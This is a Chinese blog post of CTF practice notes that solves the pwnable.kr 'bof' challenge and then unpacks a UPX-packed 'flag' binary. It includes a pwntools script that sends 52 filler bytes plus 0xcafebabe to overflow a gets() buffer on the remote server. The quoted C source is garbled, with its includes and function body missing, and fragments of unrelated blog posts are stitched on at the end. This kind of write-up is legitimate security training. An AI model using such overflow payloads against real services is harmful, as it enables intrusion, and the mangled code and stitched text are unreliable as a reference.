pwn 練習筆記 暑假的第一天

2021-08-21 10:12:07 字數 1513 閱讀 5593

pwnable  bof

原始碼如下

#include

#include

#include

void func(int key)

else

}int main(int argc, char* argv){

func(0xdeadbeef);

return 0;

看原始碼意思就是要比較key與0xcafebabe,然而在main中呼叫func時傳入的引數是0xdeadbeef,目標就是覆蓋0xdeadbeef為0xcafebabe,通過比較得到flag。gets使我們有可控輸入,使用gdb檢視0xdeadbeef與我們要輸入的字串之間的距離,然後覆蓋。

使用checksec檢視bof之後,發現

棧溢位保護,不可執行保護,位址隨機保護,都有。乙個菜雞不知道怎麼辦,看了大佬的部落格。然後發現沒有任何乙個地方提及,未解之謎從假期的第一天開始。

gdb開啟除錯,在main函式下斷(b main)

然後run

在main函式停下,ni到 call func然後si進call

進到func函式之後,ni一直到call get,

然後x/40xw $esp,檢視一下棧情況

我們輸入的字串從0xffffd21c開始。0xdeadbeef在0xffffd250之後,所以0xffffd250-0xffffd21c=52,我們需要覆蓋52個位元組

payload='a'*52 +p32(0xcafebabe)

指令碼為下:

from pwn import *

sh = remote('pwnable.kr',9000)

key = 0xcafebabe

payload = 'a'*52 + p32(key)

sh.sendline(payload)

sh.interactive()

pwnable  flag

看見題的當時是蒙的,ida開啟看發現有點詭異,看了別人的部落格發現是upx壓縮啦

upx -d flag -o flag1    解壓之後,ida再開啟看,看見flag這個變數,雙擊過去看,看到了給flag賦值,拿到flag

這個題的考點有點迷,

碎碎念

被期末考打斷了之前的學習節奏,這讓我很難受。所以今天練習點基礎題找一下感覺,今日份的練習結束,開始複習(o(╥﹏╥)o)

暑假部落格 ML第一天

2兩種基本的ml型別 unsupervised learning非監督學習 3cost function代價函式這個翻譯的不形象 重點是,監督學習中,給定了學習資料的答案,要求學習後能給出按照要求的答案型別 有多少,是否是 通過資料和答案學習。在andrew ng 的例子中,主要是從點陣中,得出自變...

2012暑假培訓第一天

今天8.10 哦,突然想起來現在已經是11號了。以後給自己乙個目標,每天發布下一天學的東西。總結下收穫,還有不足。首先,早上去聽了下前端的課 主要是複習了一下html標籤 這是今天上課講的標籤的資料 還有框架frameset標籤的使用,原來用這個標籤這麼神奇,就可以完成一些ajax的效果,以前看到的...

第一天筆記

ide integrated development environment 整合開發環境 常用開發環境有idle pythcharm wingide eclipse ipython 1.ctrl z 和回車 2.輸入quit 命令 3.直接關閉命令列視窗 ctrl c python中一切皆物件。物...